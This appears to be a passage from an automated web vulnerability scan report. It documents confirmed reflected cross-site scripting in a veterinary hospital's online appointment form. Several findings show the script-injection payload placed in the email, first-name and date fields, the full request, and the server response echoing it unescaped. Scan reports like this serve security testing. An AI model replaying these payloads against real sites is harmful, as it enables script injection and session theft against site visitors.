<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="'"--></style></script><script>netsparker(0x000E91)</script>" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET '"--></style></script><script>alert(0x000EA0)</script>
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 36847e0416cec7f38cbe6ab5027cca18
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EA0)%3C/script%3E&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=36847e0416cec7f38cbe6ab5027cca18&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:45 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="'"--></style></script><script>netsparker(0x000EA0)</script>" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->
&..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET '"--></style></script><script>alert(0x000EA1)</script>
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 7bbd2d0e3bc1f9d8507dd24a5238ca94
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000EA1)%3C/script%3E&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=7bbd2d0e3bc1f9d8507dd24a5238ca94&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:51 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="'"--></style></script><script>netsparker(0x000EA1)</script>" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
